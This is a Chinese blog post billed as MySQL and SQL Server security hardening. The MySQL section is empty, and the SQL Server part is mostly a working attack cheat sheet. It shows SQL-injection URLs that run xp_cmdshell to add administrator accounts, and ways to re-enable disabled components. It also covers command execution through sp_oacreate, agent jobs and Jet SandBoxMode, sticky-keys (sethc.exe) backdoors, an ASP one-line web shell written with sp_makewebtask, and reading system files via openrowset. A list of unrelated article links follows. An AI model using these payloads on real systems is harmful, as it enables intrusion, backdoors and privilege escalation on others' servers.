Database(Mysql、Sqlserver) Configuration Security Reinforcement
目录
. 引言
. Mysql
. Sqlserver
1. 引言
黑客获取了数据库的帐号密码之后,就可以通过Database Client登录数据库,利用SQL指令、数据库指令执行组件进行进一步的提权渗透操作
2. Mysql
3. Sqlserver
0x1: 指令执行加固
1. 创建系统账户
利用MSSQL的脚本命令提权,前提是我们要能够以SA或者具有SA权限的用户的身份登录进去,可以使用弱口令猜解或者利用sql注入点来运行脚本命令,添加sa账户
. 创建系统账户
HTTP://xxx.xxx.xxx/abc.asp?p=YY;exec master..xp_cmdshell "net user little 432vjx%23f /add"--
HTTP://xxx.xxx.xxx/abc.asp?p=YY;exec master..xp_cmdshell "net localgroup administrators little /add"--
/*
因为MSSQL的查询语句允许一条指令中包含两条的命令,所以可以利用这个sql注入漏洞来执行脚本命令 如果出现:
SQL Server 阻止了对组件 'xp_cmdshell' 的过程'sys.xp_cmdshell' 的访问,因为此组件已作为此服务器安全配置的一部分而被关闭。系统管理员可以通过使用 sp_configure 启用 'xp_cmdshell'。有关启用 'xp_cmdshell' 的详细信息,请参阅 SQL Server 联机丛书中的 "外围应用配置器"。
则必须先开启xp_cmdshell的组件 EXEC master..xp_cmdshell 'ipconfig'
-- To allow advanced options to be changed.
EXEC sp_configure 'show advanced options', 1
GO
-- To update the currently configured value for advanced options.
RECONFIGURE
GO
-- To enable the feature.
EXEC sp_configure 'xp_cmdshell', 1
GO
-- To update the currently configured value for this feature.
RECONFIGURE
GO
*/
Relevant Link:
http://wenku.baidu.com/view/f32d873331126edb6f1a1022.html?qq-pf-to=pcqq.c2c
http://baike.baidu.com/view/3637250.htm?qq-pf-to=pcqq.c2c
http://baike.baidu.com/link?url=jAh-Wu-HPBPl6X88gNr7oKf80ilat5H_XA37jIO81MT60_HJiKsEIy3VFioX7M1HWT_Jt_O-GPygEoyob6DH6K&qq-pf-to=pcqq.c2c
http://www.51safe.net/article/Skills/mssql-injection-conmmand.htm
2. 创建数据库的登录账户(注意和系统的登录账户区分开来)
exec master.dbo.sp_addlogin little,;--
go
exec master.dbo.sp_addsrvrolemember little,sysadmin;--
go
3. 开启3389或者telnet
这里注意一下,telnet的服务名不是telnet,而是tlntsvr,我们要命令开启服务的时候要输入的是这个服务器名tlntsvr,而不是显示名telnet
//telnet
xp_servicecontrol 'start','tlntsvr' 如果开启了telnet服务之后,我们用系统账户去登入出现了下面的提示:
Failure in initializing the telnet session. Shell process may not have been laun
ched.
Telnet Server has closed the connection
则可以尝试再开启:seclogon服务
xp_servicecontrol 'start','seclogon'
可能能解决问题 //3389远程桌面的服务名是:termservice
xp_servicecontrol 'start','termservice'
4. sp_oacreate
. 创建用户
use master
go
declare @o int
exec sp_oacreate 'wscript.shell',@o out
exec sp_oamethod @o,'run',null,'cmd /c "net user little 123456 /add"' . 开启服务
use master
go
declare @o int
exec sp_oacreate 'wscript.shell',@o out
exec sp_oamethod @o,'run',null,'cmd /c "net start tlntsvr"'
//cmd命令可以任意 /*
如果出现:
SQL Server 阻止了对组件 'Ole Automation Procedures' 的 过程'sys.sp_OACreate' 的访问,因为此组件已作为此服务器安全配置的一部分而被关闭。系统管理员可以通过使用 sp_configure 启用 'Ole Automation Procedures'。有关启用 'Ole Automation Procedures' 的详细信息,请参阅 SQL Server 联机丛书中的 "外围应用配置器"
可以尝试开启 Ole Automation Procedures 组件
sp_configure 'show advanced options', 1;
GO
RECONFIGURE;
GO
sp_configure 'Ole Automation Procedures', 1;
GO
RECONFIGURE;
GO
EXEC sp_configure 'Ole Automation Procedures';
GO
*/
5. scripting.filesystemobject
declare @o int
exec sp_oacreate 'scripting.filesystemobject', @o out
exec sp_oamethod @o, 'copyfile',null,'c:\windows\system32\cmd.exe' ,'c:\windows\system32\sethc.exe';
declare @oo int
exec sp_oacreate 'scripting.filesystemobject', @oo out exec sp_oamethod @oo, 'copyfile',null,'c:\windows\system32\sethc.exe' ,'c:\windows\system32\dllcache\sethc.exe';
/*
这样在3389的登入窗口处就等于布置下了一个后门,只要按5此shift键就能触发后门,而且,以这种方式登入的权限是NT系统权限,比administrator大一些
*/
6. Shell.Application
declare @o int
exec sp_oacreate 'Shell.Application', @o out
exec sp_oamethod @o, 'ShellExecute',null, 'cmd.exe','cmd /c net user little /add','c:\windows\system32','',;
7. Shell.Application
. 开启SQLSERVERAGENT服务
利用JOB执行命令,有一个先决条件就是开启SQLSERVERAGENT服务
exec master.dbo.xp_servicecontrol 'start','SQLSERVERAGENT' . 执行指令
use msdb
create table [jncsql](resulttxt nvarchar() null)
exec sp_delete_job null,'x' exec sp_add_job 'x'
exec sp_add_jobstep null,'x',null,'','cmdexec','cmd /c "net user little /add"'
exec sp_add_jobserver
null,'x',@@servername exec sp_start_job 'x';
8. SandBoxMode(沙盒模式)
在access里调用VBS的shell函数,以system权限执行任何命令
. 打开SandBoxmode
//使用这个函数之前必须把注册表里的SandBoxmode开关打开
注册表:
HKEY_LOCAL_MACHINE\SoFtWare\Micrisoft\Jet\4.0\Engine\SandBoxmode
Exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SoFtWare\Micrisoft\Jet\4.0\Engine\SandBoxmode'
默认值为2,这个人键值为0表示开启
) 修复注册表的读写
use master
go
dbcc addextendedproc ('xp_regread','xpstar.dll')
dbcc addextendedproc ('xp_regwrite','xpstar.dll') ) 修改沙盒的保护模式
EXEC master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD', . 查看'SandBoxMode'值是否已经变成0了(1或0都可以执行命令)
exec master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode' . 最后调用沙盒模式
Select * From OpenRowSet('Microsoft.Jet.OLEDB.4.0',';Database=C:\windows\system32\ias\ias.mdb','select shell("net user little 123456 /add")'); . cmd.exe的权限不对,是不会有回显的
最终的提权办法就是在当前的web目录下面上传系统的ias.mdb和cmd.exe,net.exe三个文件。执行
select * from openrowset('microsoft.jet.oledb.4.0',';database=E:\web\ias.mdb','select shell("E:\web\cmd.exe /c E:\web\net.exe user user little 123456 /add")') . 可以输入一下命令来执行命令
EXEC sp_addlinkedserver 'testsql','OLE DB Provider for Jet','Microsoft.Jet.OLEDB.4.0','c:\windows\system32\ias\ias.mdb'
EXEC master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',
EXEC master..xp_regread HKEY_LOCAL_MACHINE ,'Software\Microsoft\Jet\4.0\engines','SandBoxMode'
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\windows\system32\ias\ias.mdb','select shell("cmd.exe /c net user little 123456 /add")')
select * from openrowset('microsoft.jet.oledb.4.0',
';database=c:\windows\system32\ias\ias.mdb','select shell("cmd.exe /c net localgroup administrators little /add")')
/*
如果出现:
SQL Server 阻止了对组件 'Ad Hoc Distributed Queries' 的 STATEMENT'OpenRowset/OpenDatasource' 的访问,因为此组件已作为此服务器安全配置的一部分而被关闭。系统管理员可以通过使用 sp_configure 启用 'Ad Hoc Distributed Queries'。有关启用 'Ad Hoc Distributed Queries' 的详细信息,请参阅 SQL Server 联机丛书中的 "外围应用配置器"尝试:
启用Ad Hoc Distributed Queries:
exec sp_configure 'show advanced options',1
reconfigure
exec sp_configure 'Ad Hoc Distributed Queries',1
reconfigure 使用完成后,关闭Ad Hoc Distributed Queries:
exec sp_configure 'Ad Hoc Distributed Queries',0
reconfigure
exec sp_configure 'show advanced options',0
reconfigure
*/
Relevant Link:
http://security.zdnet.com.cn/security_zone/2011/0808/2051363.shtml
9. 直接备份一句话木马
exec sp_makewebtask 'WEB绝对路径/fuck.asp',' select ''<%eval request("op")%>'' ';--
//WEB与DATA在同一主机,知道WEB目录
例如:
exec sp_makewebtask 'C:\Inetpub\wwwroot\fuck.asp',' select ''<%eval request("op")%>'' ';--
/*
如果出现了:
SQL Server 阻止了对组件 'Web Assistant Procedures' 的 过程'sys.xp_makewebtask' 的访问,因为此组件已作为此服务器安全配置的一部分而被关闭。系统管理员可以通过使用 sp_configure 启用 'Web Assistant Procedures'。有关启用 'Web Assistant Procedures' 的详细信息,请参阅 SQL Server 联机丛书中的 "外围应用配置器"。
可以尝试
sp_configure 'show advanced options', 1;
GO
RECONFIGURE;
GO
sp_configure 'Web Assistant Procedures', 1;
GO
RECONFIGURE
GO
*/
10. 操作注册表
除了xp_cmdshell外,还有一些其他的存储过程对攻击过程也是有帮助的。比如xp_regread可以操作注册表
exec xp_regread HKEY_LOCAL_MACHINE, 'SYSTEM\CurrentControlSet\services\LanmanServer\Parameters', 'Guid'
xp_regaddmultistring
xp_regdeletekey
xp_regdeletevalue
xp_regenumkeys
xp_regenumvalues
xp_regread
xp_regremovemultistring
xp_regwrite
11. 其他命令
. xp_servicecontrol: 允许用户启动、停止服务
exec master..xp_servicecontrol 'start', 'schedule' . exec master..xp_availablemedia: 显示机器上有用的驱动器 . exec master..xp_dirtree: 允许获得一个目录树 . exec master..xp_enumdsn: 列举服务器上的ODBC数据源 . exec master..xp_loginconfig: 获取服务器上的安全信息 . exec master..xp_makecab: 允许用户在服务器上创建一个压缩文件 . exec master..xp_ntsec_enumdomains: 列举服务器可以进入的域 . exec master..xp_terminate_process: 提供进程的进程ID,终止此进程
12.利用openrowset读取敏感数据
要完成这个攻击,有几个必要条件
. sqlserver具有操作system目录、文件的权限
. 黑客得到了sqlserver的帐号、密码
利用sqlserver的文件IO操作功能,进行二进制流的操作,将cmd.exe文件覆盖到粘滞键程序中,形成shift后门
select * from openrowset(BULK N'C:\WINDOWS\system32\cmd.exe', SINGLE_BLOB) AS Contents
select * from openrowset(BULK N'C:\secret.txt', SINGLE_CLOB) AS Contents
13. 注册表劫持粘贴键
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Image File Execution
Options\sethc.EXE','Debugger','REG_SZ','C:\WINDOWS\explorer.exe';
14. sp_oacreate替换粘贴键
declare @o int
exec sp_oacreate 'scripting.filesystemobject', @o out
exec sp_oamethod @o, 'copyfile',null,'c:\windows\explorer.exe' ,'c:\windows\system32\sethc.exe';
declare @oo int
exec sp_oacreate 'scripting.filesystemobject', @oo out exec sp_oamethod @oo, 'copyfile',null,'c:\windows\system32\sethc.exe' ,'c:\windows\system32\dllcache\sethc.exe';
15. public权限提权操作
USE msdb
EXEC sp_add_job @job_name = 'GetSystemOnSQL', www.2cto.com
@enabled = ,
@description = 'This will give a low privileged user access to
xp_cmdshell',
@delete_level = EXEC sp_add_jobstep @job_name = 'GetSystemOnSQL',
@step_name = 'Exec my sql',
@subsystem = 'TSQL',
@command = 'exec master..xp_execresultset N''select ''''exec
master..xp_cmdshell "dir > c:\agent-job-results.txt"'''''',N''Master'''
EXEC sp_add_jobserver @job_name = 'GetSystemOnSQL',
@server_name = 'SERVER_NAME'
EXEC sp_start_job @job_name = 'GetSystemOnSQL'
16. sp_OACreate加载COM组件shell.user加管理员用户
DECLARE @js int
EXEC sp_OACreate 'ScriptControl',@js OUT
EXEC sp_OASetProperty @js, 'Language', 'JavaScript'
EXEC sp_OAMethod @js, 'Eval', NULL, 'var o=new ActiveXObject("Shell.Users");z=o.create("user");z.changePassword("pass","");z.setting("AccountType")=3;'
Relevant Link:
http://blog.csdn.net/it_zen/article/details/1545725
http://www.2cto.com/Article/201112/112946.html
Copyright (c) 2014 LittleHann All rights reserved
Database(Mysql、Sqlserver) Configuration Security Reinforcement的更多相关文章
- Oracle、DB2、MySql、SQLServer JDBC驱动
四种数据库JDBC驱动,还列出了连接的Class驱动名和Url Pattern,DB2包括Type 2.Type 3和Type 4三种模式.注意驱动包名称的大小写. Oralce连接驱动包名和URL ...
- Oracle、MySql、SQLServer数据分页查询
看过此博文后Oracle.MySql.SQLServer 数据分页查询,在根据公司的RegionRes表格做出了 SQLserver的分页查询语句: 别名.字段 FROM( SELECT row_nu ...
- 针对各主流数据mysql、sqlserver、oracle中文乱码问题。
针对各主流数据mysql.sqlserver.oracle当以编码格式gbk存放数据时,要注意字符串类型的字段,要采用宽字符串nvarchar存放,前提是当你的应用程序是utf8编码,而数据库是gbk ...
- SQLite与MySQL、SQLServer等异构数据库之间的数据同步
SQLite DBSync是开源嵌入式数据库SQLite的数据同步引擎,实现了SQLite与SQLite数据库之间以及SQLite与异构数据库(Oracle.MySQL.SQLServer)之间的增量 ...
- MySQL、SqlServer、Oracle 三种数据库的优缺点
MySQL.SqlServer.Oracle 三种数据库的优缺点 一.MySQL 优点: 缺点: 二.SqlServer 优点: 缺点: 三.Oracle 优点: 缺点: 一.MySQL 优点: 体积 ...
- MySQL、SqlServer、Oracle,这三种数据库的优缺点,你知道吗?
盘点MySQL.SqlServer.Oracle 三种数据库优缺点 MySQL SqlServer Oracle 一.MySQL 优 点 体积小.速度快.总体拥有成本低,开源:支持多种操作系统:是开源 ...
- spring boot 配置双数据源mysql、sqlServer
背景:原来一直都是使用mysql数据库,在application.properties 中配置数据库信息 spring.datasource.url=jdbc:mysql://xxxx/test sp ...
- Java 使用 JDBC 连接数据库的代码整合[MySql、SqlServer、Oracle]-[经过设计模式改造](2020年寒假小目标01)
日期:2020.01.08 博客期:121 星期三 今天对过去整个大二和大三上半学期用到的数据库的方法进行汇总,可以有效的使用.套用,每一个部分都有<软件设计模式>知识,上述代码满足了开闭 ...
- MySQL、SqlServer、Oracle三大主流数据库分页查询
在这里主要讲解一下MySQL.SQLServer2000(及SQLServer2005)和ORCALE三种数据库实现分页查询的方法.可能会有人说这些网上都有,但我的主要目的是把这些知识通过我实际的应用 ...
随机推荐
- Microsoft.Owin.Security.OAuth搭建OAuth2.0授权服务端
Microsoft.Owin.Security.OAuth搭建OAuth2.0授权服务端 目录 前言 OAuth2.0简介 授权模式 (SimpleSSO示例) 使用Microsoft.Owin.Se ...
- android中按电源键锁屏然后解锁导致Activity调用onDestory以及如何防止锁屏
今天在android项目中按电源键锁屏,然后解锁,发现子Activity关闭了,回到了主页,这个问题困扰了我很久,最后打log发现,在按电源键的时候,调用了子Activity的onDestroy()方 ...
- Oracle中使用Entity Framework 6.x Code-First方式开发
去年写过一篇EF的简单学习笔记,当时EF还不支持Oracle的Code-First开发模式,今天无意又看了下Oracle官网,发现EF6.X已经支持了,并且给出了二篇教程(英文版): 1.Using ...
- 别出心裁的Linux系统调用学习法
别出心裁的Linux系统调用学习法 操作系统与系统调用 操作系统(Operating System,简称OS)是计算机中最重要的系统软件,是这样的一组系统程序的集成:这些系统程序在用户对计算机的使用中 ...
- C#版的MapReduce
如果不知道MapReduce是怎么工作的,请看这里,如果不知道MapReduce是什么,请google之! 今天“闲”来无事,忽想起C#里没有MapReduce的方法,构思之,coding之: #re ...
- WP8 对音视频格式支持的完整说明
Supported media codecs for Windows Phone http://msdn.microsoft.com/en-us/library/windowsphone/develo ...
- 安全模式下运行Windows installer并卸载程序
[安全模式] 打开命令行 执行 REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Minimal\MSIServer" ...
- 数学符号“s.t.”的意义
在优化问题的求解中,如线性规划.非线性规划问题等,经常会遇到数学符号“s.t.”,它的意思是什么呢? “s.t.”,指 subject to,受限制于.... 例如: 目标函数:min {x+2} 约 ...
- GBPR: Group Preference Based Bayesian Personalized Ranking for One-Class Collaborative Filtering-IJACA 2013_20160421
1.Information publication:IJACA 2013 2.What 基于BPR模型的改进:改变BPR模型中,a,用户对商品喜好偏序对之间相互独立;b,用户之间相互独立的假设 原因: ...
- mysql常用方法学习
环境 create table phople ( id int(11) not null primary key auto_increment, name char(20) not null, sex ...